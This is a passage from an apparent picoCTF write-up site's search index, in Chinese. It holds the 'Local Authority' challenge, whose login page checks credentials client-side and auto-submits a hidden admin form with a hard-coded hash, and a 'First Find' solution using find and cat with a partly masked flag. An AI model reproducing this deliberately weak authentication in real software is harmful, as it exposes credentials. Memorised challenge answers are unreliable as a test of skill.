0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e44\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e45\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e46\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e47\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e48\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e49\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e50\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e51\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e52\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e53\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e54\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e55\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e56\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e57\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e58\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e59\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e60\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e61\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e62\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e63\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e64\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e65\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e66\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e67\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u0026lt;!DOCTYPE html\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;\u003cspan style=\"color:#f92672\"\u003ehtml\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003elang\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;en\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003emeta\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003echarset\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;UTF-8\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003emeta\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;viewport\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003econtent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003emeta\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehttp-equiv\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;X-UA-Compatible\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003econtent\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;ie=edge\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003elink\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erel\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;stylesheet\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehref\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;style.css\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;Login Page\u0026lt;/\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esrc\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;secure.js\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;msg\u0026#39;\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003eform\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ehidden\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eaction\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;admin.php\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emethod\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;post\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;hiddenAdminForm\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u0026lt;\u003cspan style=\"color:#f92672\"\u003einput\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;text\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;hash\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003erequired\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;adminFormHash\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;/\u003cspan style=\"color:#f92672\"\u003eform\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;\u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;text/javascript\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003efunction\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efilter\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003estring\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003efilterPassed\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (\u003cspan style=\"color:#66d9ef\"\u003elet\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e; \u003cspan style=\"color:#a6e22e\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estring\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003elength\u003c/span\u003e; \u003cspan style=\"color:#a6e22e\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e){\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#a6e22e\"\u003ecc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estring\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003echarCodeAt\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003ei\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ( (\u003cspan style=\"color:#a6e22e\"\u003ecc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e48\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ecc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e57\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               (\u003cspan style=\"color:#a6e22e\"\u003ecc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e65\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ecc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e90\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e||\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e               (\u003cspan style=\"color:#a6e22e\"\u003ecc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e97\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ecc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e122\u003c/span\u003e) )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#a6e22e\"\u003efilterPassed\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e;     \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      window.\u003cspan style=\"color:#a6e22e\"\u003eusername\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;admin\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      window.\u003cspan style=\"color:#a6e22e\"\u003epassword\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;password\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#a6e22e\"\u003eusernameFilterPassed\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efilter\u003c/span\u003e(window.\u003cspan style=\"color:#a6e22e\"\u003eusername\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#a6e22e\"\u003epasswordFilterPassed\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efilter\u003c/span\u003e(window.\u003cspan style=\"color:#a6e22e\"\u003epassword\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ( \u003cspan style=\"color:#a6e22e\"\u003eusernameFilterPassed\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003epasswordFilterPassed\u003c/span\u003e ) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#a6e22e\"\u003eloggedIn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003echeckPassword\u003c/span\u003e(window.\u003cspan style=\"color:#a6e22e\"\u003eusername\u003c/span\u003e, window.\u003cspan style=\"color:#a6e22e\"\u003epassword\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003eloggedIn\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          document.\u003cspan style=\"color:#a6e22e\"\u003egetElementById\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;msg\u0026#39;\u003c/span\u003e).\u003cspan style=\"color:#a6e22e\"\u003einnerHTML\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Log In Successful\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          document.\u003cspan style=\"color:#a6e22e\"\u003egetElementById\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;adminFormHash\u0026#39;\u003c/span\u003e).\u003cspan style=\"color:#a6e22e\"\u003evalue\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;2196812e91c29df34f5e217cfd639881\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          document.\u003cspan style=\"color:#a6e22e\"\u003egetElementById\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;hiddenAdminForm\u0026#39;\u003c/span\u003e).\u003cspan style=\"color:#a6e22e\"\u003esubmit\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          document.\u003cspan style=\"color:#a6e22e\"\u003egetElementById\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;msg\u0026#39;\u003c/span\u003e).\u003cspan style=\"color:#a6e22e\"\u003einnerHTML\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Log In Failed\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        document.\u003cspan style=\"color:#a6e22e\"\u003egetElementById\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;msg\u0026#39;\u003c/span\u003e).\u003cspan style=\"color:#a6e22e\"\u003einnerHTML\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Illegal character in username or password.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u0026lt;/\u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;/\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehtml\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e點開 \u003ccode\u003esecure.js\u003c/code\u003e 查看為以下內容，有包含正確的帳號密碼，輸入即可得到 flag。\u003c/p\u003e","title":"Local Authority"},{"content":"題目連結 https://learn.cylabacademy.org/library/320\n題目解法 題目目標是找到 uber-secret.txt 這個檔案，在 linux 找檔案可以使用 find 這個指令，下載並解壓縮檔案後，使用以下指令尋找 uber-secret.txt 檔案。\n$ find -name uber-secret.txt ./adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt 找到檔案後使用 cat 讀取\n$ cat ./adequate_books/more_books/.secret/deeper_secrets/deepest_secrets/uber-secret.txt picoCTF{f1n---------------fd1} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/first-find/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/320\"\u003ehttps://learn.cylabacademy.org/library/320\u003c/a\u003e\u003c/p\u003e\n\u003ch2 